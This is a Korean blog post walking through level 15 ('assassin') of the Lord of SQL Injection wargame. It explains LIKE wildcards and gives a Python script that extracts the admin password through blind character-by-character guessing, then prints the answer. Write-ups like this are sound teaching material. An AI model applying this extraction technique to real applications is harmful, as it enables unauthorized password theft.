이 영역을 누르면 첫 페이지로 이동
DevDori 블로그의 첫 페이지로 이동

DevDori

페이지 맨 위로 올라가기

DevDori

[Lord of SQL Injection] assassin 15번 풀이

  • 2021.10.17 23:10
  • WarGame/Lord of SQL Injection

[ 문제 접근 ]

1. get방식으로 pw를 입력받고 입력받은 pw를 쿼리의 like 구문안에 넣고 있다.

2. 싱글쿼터를 필터링하고 있다, 즉 like 절을 거짓으로 만든 후 새로운 쿼리를 만드는게 불가능하다.

 

=> like를 통해서 비교를 하고 있다, like는 와일드카드를 통해 패턴을 만들 수 있다.

 

 

<like>

1. %abc : abc로 끝나는 문자열

2. %abc% : abc라는 문자가 어딘가에 존재

3. abc% : abc로 시작하는 문자열

4. _abc : abc 앞에 특정한 한글자가 존재함

5.. a_bc : a와 b사이에 어떤 한글자가 존재함

 

[  % 는 여러개의 문자를 대체 ,  _ 는 단일 문자를 대체  ]

 

[ 문제풀이 ]

더보기

<정답> : ?pw=902EFD10

<풀이>

우선 _ 를 사용해 문자열의 길이를 먼저 파악한다.

_ 8개를 사용했을때 나왔으므로 글자는 8글자임을 알 수 있고, 질의 결과 guest가 admin보다 위에 존재한다는 것을 유추할 수 있다.

import requests

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "uoaqqo49al5a3l6baodafl6edv"}

length = 8
apw=""
for i in range(1, length + 1):
    for j in range(48,123):
        if chr(j)!="_":
            req = url+f"?pw={apw+chr(j)}%"
            res = requests.get(req,cookies=cookies)
            if "Hello admin" in res.text:
                print("admin :",chr(j))
                apw += chr(j)
                break
            elif "Hello guest" in res.text:
                print("guest :",chr(j))
                gpw = chr(j)
            if j==122:
                apw += gpw
print(apw)
우선 글자를 비교할때 뒤에 %를 붙여서 어떤 문자로 시작하는지 알아냈다.admin과 guest가 동일한 글자를 가졌을 경우도 존재한다, 아까 문자열을 확인할때 참일경우 guest가 먼저 나타난 것을 확인할 수 있었다. 따라서 같은 문자를 가졌을때 admin이 아닌 guest가 나타날 수 있다는 말이다.그러므로 우리는 guest가 출력이 되도 바로 pw에 추가하는 것이 아닌 우리가 지정한 문자열의 범위를 전부 검사해도 admin이 없을 경우 그 부분의 admin과 guest의 pw가 같다고 판단하여 apw에 추가한다.

 

처음 나타나는 if문에서 _ 이 아닐경우만 조회하는 이유는 _는 한가지의 문자를 대체하므로 정확한 pw를 알 수 없기에 제외하였다.

 

  

"ASSASSIN Clear!" 가 나타났다! 정답!

이제 다음 스테이지로 넘어가도록 하자

 

'WarGame > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] giant 14번 풀이  (0) 2021.10.17
[Lord of SQL Injection] bugbear 13번 풀이  (0) 2021.10.17
[Lord of SQL Injection] darkknight 12번 풀이  (0) 2021.10.17
[Lord of SQL Injection] golem 11번 풀이  (0) 2021.10.17
[Lord of SQL Injection] skeleton 10번 풀이  (0) 2021.10.17

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [Lord of SQL Injection] giant 14번 풀이

    [Lord of SQL Injection] giant 14번 풀이

    2021.10.17
  • [Lord of SQL Injection] bugbear 13번 풀이

    [Lord of SQL Injection] bugbear 13번 풀이

    2021.10.17
  • [Lord of SQL Injection] darkknight 12번 풀이

    [Lord of SQL Injection] darkknight 12번 풀이

    2021.10.17
  • [Lord of SQL Injection] golem 11번 풀이

    [Lord of SQL Injection] golem 11번 풀이

    2021.10.17
다른 글 더 둘러보기

정보

DevDori 블로그의 첫 페이지로 이동

DevDori


ShinhanBank InfoSec Devision
Sunrin High School InfoSec 115th
TeamH4C members

  • DevDori의 첫 페이지로 이동

나의 외부 링크

  • GitHub
  • FB
  • Instagram

검색

카테고리

  • 분류 전체보기 (43)
    • Project (7)
      • 정보보안 프로젝트 (6)
      • 진로 IT 프로젝트 (1)
    • System (4)
    • Reversing (3)
    • Web (1)
    • WarGame (21)
      • Lord of SQL Injection (15)
      • BandIt (2)
      • Webhacking.kr (0)
      • pwnable.kr (0)
      • HackCTF (2)
      • FTZ (0)
      • Dreamhack (2)
    • Dev (5)
      • DataBase (5)
    • Etc. (2)
      • 알쓸컴잡 (0)
      • Linux (1)
      • GitHub (1)
      • 시놀로지 (0)
    • Algorithm (0)
      • programmers (0)

메뉴

  • 홈
  • 태그
  • 방명록

최근 글

인기 글

댓글

정보

DevDori의 DevDori

DevDori

DevDori

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © DevDori.

티스토리툴바